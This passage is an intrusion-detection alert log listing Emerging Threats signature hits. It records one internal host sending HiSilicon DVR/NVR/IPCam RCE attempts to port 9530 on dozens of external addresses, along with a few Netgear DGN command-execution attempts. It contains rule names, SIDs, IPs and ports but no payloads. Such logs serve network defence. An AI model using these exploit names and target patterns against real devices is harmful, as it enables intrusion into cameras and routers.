Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.121.105.146

Timestamp:	05/16/24-16:38:50.004281
SID:	2030487
Source Port:	59758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.121.105.146

Timestamp:	05/16/24-16:38:50.004281
SID:	2030488
Source Port:	59758
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.43.42.222

Timestamp:	05/16/24-16:39:02.767198
SID:	2030488
Source Port:	54688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.43.42.222

Timestamp:	05/16/24-16:39:02.767198
SID:	2030487
Source Port:	54688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.218.6.61

Timestamp:	05/16/24-16:39:12.301169
SID:	2030488
Source Port:	39258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.218.6.61

Timestamp:	05/16/24-16:39:12.301169
SID:	2030487
Source Port:	39258
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.220.104.202

Timestamp:	05/16/24-16:39:12.301232
SID:	2030488
Source Port:	35016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.220.104.202

Timestamp:	05/16/24-16:39:12.301232
SID:	2030487
Source Port:	35016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 64.73.27.220

Timestamp:	05/16/24-16:38:57.444151
SID:	2030488
Source Port:	52530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 173.157.88.134

Timestamp:	05/16/24-16:38:59.557151
SID:	2030488
Source Port:	42976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 173.157.88.134

Timestamp:	05/16/24-16:38:59.557151
SID:	2030487
Source Port:	42976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.138.68.69

Timestamp:	05/16/24-16:39:08.125415
SID:	2030487
Source Port:	35638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.138.68.69

Timestamp:	05/16/24-16:39:08.125415
SID:	2030488
Source Port:	35638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.159.230.91

Timestamp:	05/16/24-16:38:53.064391
SID:	2030487
Source Port:	59218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.23.86.180

Timestamp:	05/16/24-16:39:12.403663
SID:	2030487
Source Port:	58380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.159.230.91

Timestamp:	05/16/24-16:38:53.064391
SID:	2030488
Source Port:	59218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.92.2.47

Timestamp:	05/16/24-16:39:05.675951
SID:	2030487
Source Port:	44970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.92.2.47

Timestamp:	05/16/24-16:39:05.675951
SID:	2030488
Source Port:	44970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.23.86.180

Timestamp:	05/16/24-16:39:12.403663
SID:	2030488
Source Port:	58380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 195.112.240.235

Timestamp:	05/16/24-16:39:08.041040
SID:	2030487
Source Port:	40104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 64.73.27.220

Timestamp:	05/16/24-16:38:57.444151
SID:	2030487
Source Port:	52530
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.112.240.235

Timestamp:	05/16/24-16:39:08.041040
SID:	2030488
Source Port:	40104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.38.243.142

Timestamp:	05/16/24-16:38:53.098228
SID:	2030488
Source Port:	51038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.38.243.142

Timestamp:	05/16/24-16:38:53.098228
SID:	2030487
Source Port:	51038
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.204.186.19

Timestamp:	05/16/24-16:38:55.226330
SID:	2030487
Source Port:	37872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.131.97.48

Timestamp:	05/16/24-16:39:16.604444
SID:	2030487
Source Port:	44430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.131.97.48

Timestamp:	05/16/24-16:39:16.604444
SID:	2030488
Source Port:	44430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 70.96.88.245

Timestamp:	05/16/24-16:39:08.045042
SID:	2030488
Source Port:	32832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.204.186.19

Timestamp:	05/16/24-16:38:55.226330
SID:	2030488
Source Port:	37872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 70.96.88.245

Timestamp:	05/16/24-16:39:08.045042
SID:	2030487
Source Port:	32832
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.185.36.234

Timestamp:	05/16/24-16:39:14.513677
SID:	2030488
Source Port:	55838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.185.36.234

Timestamp:	05/16/24-16:39:14.513677
SID:	2030487
Source Port:	55838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.144.24.65

Timestamp:	05/16/24-16:39:05.694619
SID:	2030487
Source Port:	37702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.144.24.65

Timestamp:	05/16/24-16:39:05.694619
SID:	2030488
Source Port:	37702
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.139.13.235

Timestamp:	05/16/24-16:39:02.744316
SID:	2030488
Source Port:	56582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.139.13.235

Timestamp:	05/16/24-16:39:02.744316
SID:	2030487
Source Port:	56582
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.202.110.71

Timestamp:	05/16/24-16:39:14.511700
SID:	2030488
Source Port:	49950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.236.166.240

Timestamp:	05/16/24-16:39:05.675697
SID:	2030488
Source Port:	51552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.236.166.240

Timestamp:	05/16/24-16:39:05.675697
SID:	2030487
Source Port:	51552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.202.110.71

Timestamp:	05/16/24-16:39:14.511700
SID:	2030487
Source Port:	49950
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.26.151.245

Timestamp:	05/16/24-16:39:16.585499
SID:	2030487
Source Port:	48512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.26.151.245

Timestamp:	05/16/24-16:39:16.585499
SID:	2030488
Source Port:	48512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.189.159.101

Timestamp:	05/16/24-16:38:55.201812
SID:	2030487
Source Port:	44372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.81.183.153

Timestamp:	05/16/24-16:39:08.041085
SID:	2030488
Source Port:	35504
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.189.159.101

Timestamp:	05/16/24-16:38:55.201812
SID:	2030488
Source Port:	44372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.139.0.65

Timestamp:	05/16/24-16:39:05.711672
SID:	2030488
Source Port:	37506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.81.183.153

Timestamp:	05/16/24-16:39:08.041085
SID:	2030487
Source Port:	35504
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.132.65.52

Timestamp:	05/16/24-16:39:12.298291
SID:	2030487
Source Port:	48734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.132.65.52

Timestamp:	05/16/24-16:39:12.298291
SID:	2030488
Source Port:	48734
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.84.163.84

Timestamp:	05/16/24-16:39:05.676360
SID:	2030488
Source Port:	53436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.139.0.65

Timestamp:	05/16/24-16:39:05.711672
SID:	2030487
Source Port:	37506
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.84.163.84

Timestamp:	05/16/24-16:39:05.676360
SID:	2030487
Source Port:	53436
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.171.143.10

Timestamp:	05/16/24-16:39:05.709884
SID:	2030487
Source Port:	47964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.197.10.186

Timestamp:	05/16/24-16:39:12.298280
SID:	2030487
Source Port:	35176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.100.150.150

Timestamp:	05/16/24-16:38:59.590375
SID:	2030488
Source Port:	45762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.197.10.186

Timestamp:	05/16/24-16:39:12.298280
SID:	2030488
Source Port:	35176
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 61.100.150.150

Timestamp:	05/16/24-16:38:59.590375
SID:	2030487
Source Port:	45762
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.209.31.39

Timestamp:	05/16/24-16:39:08.126457
SID:	2030487
Source Port:	44150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.209.31.39

Timestamp:	05/16/24-16:39:08.126457
SID:	2030488
Source Port:	44150
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.89.131.53

Timestamp:	05/16/24-16:38:49.306238
SID:	2024916
Source Port:	44310
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.191.119.25

Timestamp:	05/16/24-16:39:14.507723
SID:	2030488
Source Port:	41112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 45.18.70.112

Timestamp:	05/16/24-16:39:14.513398
SID:	2030488
Source Port:	48310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.191.119.25

Timestamp:	05/16/24-16:39:14.507723
SID:	2030487
Source Port:	41112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.18.70.112

Timestamp:	05/16/24-16:39:14.513398
SID:	2030487
Source Port:	48310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.107.89.98

Timestamp:	05/16/24-16:39:05.700298
SID:	2030487
Source Port:	51700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.107.89.98

Timestamp:	05/16/24-16:39:05.700298
SID:	2030488
Source Port:	51700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 118.114.93.131

Timestamp:	05/16/24-16:38:55.176096
SID:	2030487
Source Port:	35324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 118.114.93.131

Timestamp:	05/16/24-16:38:55.176096
SID:	2030488
Source Port:	35324
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.123.30.69

Timestamp:	05/16/24-16:39:05.715262
SID:	2030488
Source Port:	58890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.123.30.69

Timestamp:	05/16/24-16:39:05.715262
SID:	2030487
Source Port:	58890
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.171.143.10

Timestamp:	05/16/24-16:39:05.709884
SID:	2030488
Source Port:	47964
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.35.24.88

Timestamp:	05/16/24-16:39:12.301249
SID:	2030488
Source Port:	55532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.35.24.88

Timestamp:	05/16/24-16:39:12.301249
SID:	2030487
Source Port:	55532
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 29.67.192.209

Timestamp:	05/16/24-16:39:09.587308
SID:	2029215
Source Port:	41208
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.3.25.123

Timestamp:	05/16/24-16:38:57.411084
SID:	2030488
Source Port:	47328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.3.25.123

Timestamp:	05/16/24-16:38:57.411084
SID:	2030487
Source Port:	47328
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 131.12.98.89

Timestamp:	05/16/24-16:39:05.676360
SID:	2030488
Source Port:	37234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 131.12.98.89

Timestamp:	05/16/24-16:39:05.676360
SID:	2030487
Source Port:	37234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.139.118.127

Timestamp:	05/16/24-16:39:03.263596
SID:	2030487
Source Port:	38186
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.139.118.127

Timestamp:	05/16/24-16:39:03.263596
SID:	2030488
Source Port:	38186
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.111.60.251

Timestamp:	05/16/24-16:38:59.587430
SID:	2030488
Source Port:	55638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.100.62.141

Timestamp:	05/16/24-16:39:14.532255
SID:	2030487
Source Port:	50720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.111.60.251

Timestamp:	05/16/24-16:38:59.587430
SID:	2030487
Source Port:	55638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.100.62.141

Timestamp:	05/16/24-16:39:14.532255
SID:	2030488
Source Port:	50720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.176.16.71

Timestamp:	05/16/24-16:39:08.047700
SID:	2030488
Source Port:	60196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.176.16.71

Timestamp:	05/16/24-16:39:08.047700
SID:	2030487
Source Port:	60196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.22.251.36

Timestamp:	05/16/24-16:38:59.584449
SID:	2030487
Source Port:	53970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.22.251.36

Timestamp:	05/16/24-16:38:59.584449
SID:	2030488
Source Port:	53970
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.197.72.14

Timestamp:	05/16/24-16:38:57.409827
SID:	2030487
Source Port:	46596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.119.8.144

Timestamp:	05/16/24-16:39:14.493640
SID:	2030487
Source Port:	43188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.229.34.117

Timestamp:	05/16/24-16:38:50.068494
SID:	2030488
Source Port:	45784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.119.8.144

Timestamp:	05/16/24-16:39:14.493640
SID:	2030488
Source Port:	43188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.229.34.117

Timestamp:	05/16/24-16:38:50.068494
SID:	2030487
Source Port:	45784
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.197.72.14

Timestamp:	05/16/24-16:38:57.409827
SID:	2030488
Source Port:	46596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.103.88.123

Timestamp:	05/16/24-16:38:53.013613
SID:	2030487
Source Port:	36000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.103.88.123

Timestamp:	05/16/24-16:38:53.013613
SID:	2030488
Source Port:	36000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 45.141.219.182

Timestamp:	05/16/24-16:38:55.176055
SID:	2030487
Source Port:	57910
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 1.213.162.54

Timestamp:	05/16/24-16:39:05.512197
SID:	2034576
Source Port:	34372
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.164.141.25

Timestamp:	05/16/24-16:39:14.493200
SID:	2030487
Source Port:	55502
